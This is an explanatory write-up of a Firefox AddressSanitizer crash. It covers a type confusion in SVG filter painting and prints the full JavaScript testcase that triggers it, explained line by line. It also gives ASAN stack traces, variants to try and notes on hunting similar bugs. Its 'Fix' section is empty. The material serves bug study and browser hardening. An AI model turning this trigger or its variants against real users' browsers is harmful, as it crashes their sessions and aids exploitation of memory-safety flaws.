The tool that caught the mistake is AddressSanitizer (ASAN), a debugging feature built into special test builds of Firefox. ASAN watches every memory read and write and shouts loudly when code touches memory it should not. In this case it reported a global-buffer-overflow: a read that went just past the end of a fixed, program-wide block of memory.
The report does not state a bounty amount or a CVSS score.
Context
Firefox draws web pages using a layout engine. The layout engine is the part of the browser that works out where every box, image and piece of text goes on screen, and then paints them. Inside the layout engine, each visible thing on the page is represented by a frame. A frame is a small internal object that knows how to measure itself and how to draw itself. There are different frame classes for different kinds of content: one for a block of text, one for an image, one for an SVG shape, and so on.
SVG stands for Scalable Vector Graphics. It is a way of describing pictures using shapes (lines, circles, paths) rather than pixels, so the picture stays sharp at any size. SVG is written in XML, a markup language similar to HTML. Inside an SVG you can define filters: effects like blur, drop shadow or colour change that are applied to a shape when it is drawn.
A filter is defined once, given an id, and then referenced by URL from CSS, for example filter: url(#id0). The #id0 part is a fragment identifier: it points at the element in the same document whose id attribute is id0.
When the layout engine is about to paint an element that has a filter, it first has to work out how much of the surrounding area the filter will affect. A blur, for example, spreads colour outward beyond the shape's own edges, so the browser needs to know how big an area to prepare before it starts filtering. The function that answers this question is nsFilterInstance::GetPreFilterNeededArea. To answer, it needs the element's canvas transform matrix: a mathematical description of how the element is positioned, rotated and scaled on the canvas. It gets that by calling nsSVGUtils::GetCanvasTM, which in turn calls a method on the frame.
The frame that receives the call is expected to be of the right concrete type. "Concrete type" means the actual class the object was created as, not just the general category. The crash happens in mozilla::SVGGeometryFrame::GetCanvasTM(), and the bad address sits at the end of the SVGFEContainerFrame vtable.
Setup
The testcase was run against the latest ASAN build of Firefox at the time. An ASAN build is a special version of Firefox compiled with AddressSanitizer turned on. It is slower than a normal build and is not meant for everyday browsing; it exists so that developers and security researchers can catch memory errors that would otherwise go unnoticed.
The crash output shows a 64-bit Linux build. Firefox splits its work across several processes for security and stability. The page content runs in a content process, labelled Web Content in the output. A separate thread called Chrome_ChildThr also appears. A thread is a unit of work inside a process; a process can have several threads running at once.
No accounts, roles or special configuration are involved. The trigger is a single HTML file loaded in the browser. The researcher attached the testcase as crash.html. The report does not describe any further tooling beyond the ASAN build itself.
Finding it
The entry point is a crash under AddressSanitizer. The first error is a global-buffer-overflow, a READ of size 8, at an address that ASAN reports as sitting 0 bytes to the right of the global variable vtable for SVGFEContainerFrame.
A vtable (short for virtual method table) is a hidden table of function pointers that C++ attaches to objects that use virtual functions. A virtual function is a function that can behave differently depending on the actual type of the object. When the program calls a virtual function, it looks up the address of the real function in the object's vtable and jumps there. Each class has its own vtable, stored once in the program's global memory. If code reads a vtable slot from the wrong class, or reads past the end of a vtable, it gets a garbage function pointer.
The read lands 0 bytes to the right of the global variable 'vtable for SVGFEContainerFrame', while the crashing function is SVGGeometryFrame::GetCanvasTM. The size 8 is the size of a pointer on a 64-bit system: the read is trying to fetch one address.
The top frame of the stack is mozilla::SVGGeometryFrame::GetCanvasTM() at SVGGeometryFrame.cpp:701:52. A stack trace (or call stack) is the list of function calls that led to the crash, with the most recent call at the top. That top line is where the bad read happened, in SVGGeometryFrame::GetCanvasTM(). The rest of the stack shows how the call is reached during painting, through filter area computation and background image rendering.
Exploitation
The whole trigger is client-side JavaScript in an HTML document. JavaScript is the programming language that runs inside web pages and lets them react to events and change the page. Client-side means it runs in the browser, not on a server.
The script builds an SVG document inside an iframe, moves that document's root element into the top document, then creates a filter chain and applies it in a way that makes the layout engine ask a filter container frame for a geometry frame's canvas transform.
An iframe is a rectangular area inside a page that loads another page. The page inside the iframe has its own separate document. The root element of a document is the outermost element: <html> for an HTML document, <svg> for an SVG document.
Step 1: create the iframe and load an SVG document
<script>
function start() {
o0=document.createElement('iframe');
o0.src="data:text/html,<html><svg xmlns='http://www.w3.org/2000/svg'></svg></html>";
o0.addEventListener('load', fun0,false);
document.body.appendChild(o0);
o3=document;
}
Line by line:
function start() {begins a function calledstart. It will be called when the page finishes loading.o0=document.createElement('iframe');creates a new iframe element and stores it in a global variable calledo0. The nameso0,o3and so on are just arbitrary variable names; they carry no special meaning.o0.src="data:text/html,..."sets the iframe's source. Adata:URL is a URL that contains the page content directly instead of pointing at a server. Here the content is a tiny HTML page containing an empty<svg>element. Thexmlnsattribute declares the XML namespace, which tells the browser that the<svg>element is an SVG element and not just an unknown tag.o0.addEventListener('load', fun0,false);registers a function calledfun0to run when the iframe finishes loading. An event listener is a function the browser calls when something happens, such as a click or a page load.document.body.appendChild(o0);puts the iframe into the current page's body. Until an element is added to the document, it is not displayed and its page does not load.o3=document;saves a reference to the current document ino3, so the script can use it later.
Why this step: the script needs a second document containing SVG content, and an iframe is the simplest way to create one from a single HTML file.
Step 2: take the SVG root and switch on designMode
function fun0() {
o6=o0.contentDocument;
o7=o6.getElementsByTagName('*')[3];
o316=document.documentElement;
o3.designMode='on';
Line by line:
function fun0() {begins the function that runs when the iframe has loaded.o6=o0.contentDocument;gets the iframe's internal document and stores it ino6.contentDocumentis the standard way for a page to reach into an iframe it created, provided the iframe is same-origin. Here the iframe is adata:URL, and the report does not discuss origin rules.o7=o6.getElementsByTagName('*')[3];collects every element in the iframe document withgetElementsByTagName('*')(the*means "any tag") and takes the fourth one, at index 3, because counting starts at zero. That element is stored ino7.o316=document.documentElement;saves the top document's root element, the<html>element, ino316.o3.designMode='on';turns on designMode for the top document. Design mode is a browser feature that makes a whole document editable, as if it were a word processor. It changes how the browser handles the document internally.
Why this step: the script needs references to elements in both documents, and design mode changes the document's state in a way that matters for the bug.
Step 3: replace the top document element with the iframe's SVG root
document.replaceChild(o6.documentElement,window.top.document.documentElement);
This swaps the top document's root element for the iframe document's root element. replaceChild(newChild, oldChild) is a standard DOM method: it puts newChild where oldChild was. A DOM (Document Object Model) is the tree of objects that represents a page; every element is a node in that tree. window.top refers to the outermost window, the browser tab itself.
The SVG document element is now installed in the top document. Moving an element from one document to another is unusual, and it is exactly the kind of operation that can leave internal bookkeeping out of step.
Step 4: build a filter chain and attach it to the SVG element
o1024=document.createElementNS('http://www.w3.org/2000/svg','filter');
o1024.setAttribute('id','id0');
o1031=document.createElementNS('http://www.w3.org/2000/svg','feMerge');
o1039=document.createElementNS('http://www.w3.org/2000/svg','feMergeNode');
o1031.appendChild(o1039);
o1024.appendChild(o1031);
o7.appendChild(o1024);
Line by line:
o1024=document.createElementNS('http://www.w3.org/2000/svg','filter');creates an SVG<filter>element.createElementNSis likecreateElementbut takes the XML namespace as its first argument, which is required for SVG elements.o1024.setAttribute('id','id0');gives the filter the idid0, so it can be referenced later.o1031=document.createElementNS('http://www.w3.org/2000/svg','feMerge');creates an<feMerge>element. In SVG,feMergeis a filter primitive that combines several filter results into one image.o1039=document.createElementNS('http://www.w3.org/2000/svg','feMergeNode');creates an<feMergeNode>, which is one input to the merge.o1031.appendChild(o1039);puts the merge node inside the merge.o1024.appendChild(o1031);puts the merge inside the filter.o7.appendChild(o1024);attaches the whole filter too7, the element taken from the iframe document in step 2.
Why this step: the bug needs a filter that is actually attached to an element in the document, so the layout engine will try to compute its area when painting.
Step 5: apply filters by URL reference
o1039.style.filter='url(#id0)';
o316.style.filter='url(#id7)';
o1039.id='id20';
Line by line:
o1039.style.filter='url(#id0)';applies the filterid0to the merge node. The merge node is now both part of a filter and itself filtered, which is an unusual arrangement.o316.style.filter='url(#id7)';applies a filter reference to the saved top document root element. The idid7is not defined anywhere in the testcase, so this reference points at nothing.o1039.id='id20';gives the merge node the idid20, so it can be referenced by name in the next step.
Why this step: the filter references are what make the layout engine walk into the filter area code. The undefined id7 and the later id assignment are part of the sequence that produces the mismatch.
Step 6: reference the element as a background image
o610=document.createElement('style');
o611=document.createTextNode("*{ background: -moz-element(#id20);");
o610.appendChild(o611);
document.documentElement.appendChild(o610);
}
</script>
<body onload="start()"></body>
Line by line:
o610=document.createElement('style');creates a<style>element, which holds CSS rules. CSS (Cascading Style Sheets) is the language that describes how a page looks.o611=document.createTextNode("*{ background: -moz-element(#id20);");creates a text node containing a CSS rule. The*selector means "every element".background: -moz-element(#id20)sets the background of every element to a live rendering of the element with idid20.-moz-element()is a Firefox-specific CSS function that uses an element as an image. Note that the rule is missing its closing}, which the report does not comment on.o610.appendChild(o611);puts the text inside the style element.document.documentElement.appendChild(o610);adds the style element to the document, which makes the browser apply the rule.}closes thefun0function, and</script>ends the script block.<body onload="start()">sets the page body so thatstart()runs when the page has loaded.
Why this step: making the filtered merge node the background of every element forces the browser to paint it as an image. That pulls the filtered node into the painting path, which is where the wrong frame type is reached.
The testcase applies a filter to the feMergeNode, sets a filter reference on the moved root element, and uses a -moz-element() background; the stack shows the crash reached through nsFilterInstance::GetPreFilterNeededArea.
What ASAN reported
The first failure is the type confusion itself:
==28350==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd26840d038 at pc 0x7fd2615b5745 bp 0x7fff4bdc59b0 sp 0x7fff4bdc59a8
READ of size 8 at 0x7fd26840d038 thread T0 (Web Content)
#0 0x7fd2615b5744 in mozilla::SVGGeometryFrame::GetCanvasTM() /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52
#1 0x7fd2616446ac in nsSVGUtils::GetCanvasTM(nsIFrame*) /home/worker/workspace/build/src/layout/svg/nsSVGUtils.cpp:428:50
#2 0x7fd2615eb37f in nsFilterInstance::GetPreFilterNeededArea(nsIFrame*, nsRegion const&) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:114:18
#3 0x7fd2616225ae in nsSVGIntegrationUtils::GetRequiredSourceForInvalidArea(nsIFrame*, nsRect const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:354:10
#4 0x7fd2612926cb in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2448:7
What each line means:
- The first line says ASAN caught a global-buffer-overflow at a particular memory address.
pc,bpandspare the program counter, base pointer and stack pointer: the processor registers that record where the program was when it crashed. READ of size 8means the program tried to read 8 bytes, one pointer, from an address it should not touch.thread T0 (Web Content)says the read happened on the main thread of the content process.#0is the innermost call:SVGGeometryFrame::GetCanvasTM()at line 701 ofSVGGeometryFrame.cpp. This is where the bad read happened.#1is the caller:nsSVGUtils::GetCanvasTM(nsIFrame*). It received a frame pointer and passed the call on.#2isnsFilterInstance::GetPreFilterNeededArea, the function that works out how much area a filter needs.#3isnsSVGIntegrationUtils::GetRequiredSourceForInvalidArea, which asks for the source area needed to repaint a region.#4isnsIFrame::BuildDisplayListForStackingContext. A display list is the ordered list of drawing operations the browser builds before painting. A stacking context is a group of elements that are painted together as a unit, for example because of a filter or a transform.
The read is 8 bytes, the size of a pointer, in SVGGeometryFrame::GetCanvasTM. The allocation context confirms the object is a filter container frame, not a geometry frame:
0x7fd26840d038 is located 0 bytes to the right of global variable 'vtable for SVGFEContainerFrame' defined in '/home/worker/workspace/build/src/obj-firefox/layout/svg/Unified_cpp_layout_svg0.cpp' (0x7fd26840cba0) of size 1176
SUMMARY: AddressSanitizer: global-buffer-overflow /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52 in mozilla::SVGGeometryFrame::GetCanvasTM()
This is the key line. ASAN says the bad address sits exactly at the end of the vtable belonging to SVGFEContainerFrame, a class that represents a container for SVG filter effects. The crashing function, however, belongs to SVGGeometryFrame, a class that represents a geometric SVG shape. The two do not match, which is the type confusion. The SUMMARY line repeats the crash location in one line for quick reading.
The rest of the first stack shows the path that reaches the filter code: display list building for a stacking context, PaintFrame, a gfxCallbackDrawable used for the -moz-element() image, DynamicImage::Draw, nsImageRenderer::DrawLayer, nsCSSRendering::PaintStyleImageLayer, nsDisplayCanvasBackgroundImage::Paint, and finally the refresh driver tick that started the paint. The refresh driver is the browser component that decides when it is time to redraw the screen, typically many times per second.
After the content process aborts, the parent process reports the broken IPC channel and then crashes separately:
[Parent 27963] WARNING: pipe error (57): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353
[Parent 27963] WARNING: pipe error (53): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353
###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0081,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv
ASAN:DEADLYSIGNAL
=================================================================
==28371==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4597a8f767 bp 0x7f4593c62380 sp 0x7f4593c62370 T2)
==28371==The signal is caused by a WRITE memory access.
==28371==Hint: address points to the zero page.
#0 0x7f4597a8f766 in mozilla::ipc::MessageChannel::OnChannelErrorFromLink() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2465:13
What this means:
- IPC stands for inter-process communication: the mechanism Firefox processes use to send messages to each other. The messages travel over a channel, which on Linux is a pipe.
pipe error ... Connection reset by peermeans the other end of the pipe, the content process, has gone away. The parent process notices the broken channel.PBrowser::Msg_Destroyis the message the parent was trying to send when the channel failed.SEGVmeans a segmentation fault: the program accessed memory it is not allowed to access.address 0x000000000000is the null address, andWRITE memory accesssays the program tried to write there. TheHint: address points to the zero pageconfirms it is a null-pointer access.#0ismozilla::ipc::MessageChannel::OnChannelErrorFromLink(), the function that handles a broken channel.
The second crash is a SEGV on address 0x000000000000, a WRITE, in MessageChannel::OnChannelErrorFromLink on thread T2 (Chrome_ChildThr).
Root cause
The crash occurs in SVGGeometryFrame::GetCanvasTM(), and the bad address sits at the end of the SVGFEContainerFrame vtable. The call is reached through nsSVGUtils::GetCanvasTM(nsIFrame*), which is given a frame pointer and dispatches to the geometry frame implementation without the concrete type matching. The ASAN report places the read exactly at the end of the SVGFEContainerFrame vtable.
The testcase sets up the conditions for that mismatch: an SVG document element is moved into another document, a filter is attached to an feMergeNode, a second filter reference is set on the moved root element, and the filtered node is pulled into painting as a -moz-element() background.
Impact
The immediate effect is a crash of the content process, followed by a crash in the parent process after the IPC channel breaks.
Fix
Variants to test
- Move an SVG root element from an iframe into the top document and apply a filter to a descendant, as in the testcase. A positive result is an ASAN global-buffer-overflow in
SVGGeometryFrame::GetCanvasTMor a similar type mismatch in the filter area code. - Reference an element with
-moz-element()while that element has a filter applied. A positive result is the filter code being reached for a frame whose type does not match the call. - Apply
filter: url(#...)to an element whose id is later reused or changed, as the testcase does withid20. A positive result is a crash during display list building for a stacking context. - Combine
designModewith a document element replacement and SVG content. A positive result is a frame tree where SVG frame types are mixed across documents.
Hunting notes
This kind of bug hides where frame types are assumed rather than checked: SVG filter and geometry code, code that walks frames during painting, and anything that crosses document boundaries, such as moving nodes between an iframe and its parent. The signals are ASAN reports that name a vtable of one class while the crashing function belongs to another, and stacks that pass through nsSVGUtils, nsFilterInstance or nsSVGIntegrationUtils.
Here the allocation context line naming vtable for SVGFEContainerFrame next to a crash in SVGGeometryFrame::GetCanvasTM is what makes the type confusion unambiguous.
Glossary
- AddressSanitizer (ASAN): a debugging tool built into special test builds of a program that detects reads and writes to memory the program should not touch.
- ASAN build: a version of Firefox compiled with AddressSanitizer enabled, used for finding memory bugs rather than everyday browsing.
- Bug bounty programme: a scheme where an organisation pays researchers for reporting security bugs responsibly.
- Canvas transform matrix: a mathematical description of how an element is positioned, rotated and scaled on the drawing surface.
- Client-side: code that runs in the user's browser rather than on a server.
- Concrete type: the actual class an object was created as, as opposed to a more general category it belongs to.
- Content process: the separate operating-system process in which Firefox runs a web page's code, isolated from the rest of the browser.
- CSS (Cascading Style Sheets): the language that describes how a web page looks.
- Data URL: a URL that contains the page or file content directly instead of pointing at a server.
- Design mode: a browser feature that makes an entire document editable, like a word processor.
- Display list: the ordered list of drawing operations the browser builds before painting a page.
- DOM (Document Object Model): the tree of objects that represents a web page; every element is a node in that tree.
- Event listener: a function the browser calls when something happens, such as a click or a page load.
- Filter (SVG): an effect such as blur or drop shadow defined in SVG and applied to an element when it is drawn.
- Frame (layout): an internal object in the browser's layout engine that represents one piece of content on the page and knows how to measure and draw it.
- Global-buffer-overflow: a memory error where code reads or writes just past the end of a fixed, program-wide block of memory.
- Iframe: a rectangular area inside a page that loads another page, with its own separate document.
- IPC (inter-process communication): the mechanism separate processes use to send messages to each other.
- JavaScript: the programming language that runs inside web pages and lets them react to events and change the page.
- Layout engine: the part of the browser that works out where everything goes on screen and paints it.
- Null-pointer access: a memory access through an address of zero, which is never valid and always crashes.
- Out-of-bounds access: reading or writing memory outside the boundaries of the block the program is supposed to use.
- Process: an independent running program with its own memory, managed by the operating system.
- Refresh driver: the browser component that decides when it is time to redraw the screen.
- Root element: the outermost element of a document, such as
<html>or<svg>. - Segmentation fault (SEGV): a crash caused by accessing memory the program is not allowed to access.
- Stack trace (call stack): the list of function calls that led to a crash, with the most recent call at the top.
- Stacking context: a group of elements that are painted together as a unit, for example because of a filter or a transform.
- SVG (Scalable Vector Graphics): a way of describing pictures using shapes rather than pixels, written in XML.
- Thread: a unit of work inside a process; a process can have several threads running at once.
- Type confusion: a bug where code treats an object of one type as if it were another type, leading to wrong or out-of-bounds memory access.
- Virtual function: a C++ function that can behave differently depending on the actual type of the object it is called on.
- Vtable (virtual method table): a hidden table of function pointers attached to C++ objects that use virtual functions, used to look up the right function at runtime.
- XML: a markup language similar to HTML, used to describe structured data such as SVG.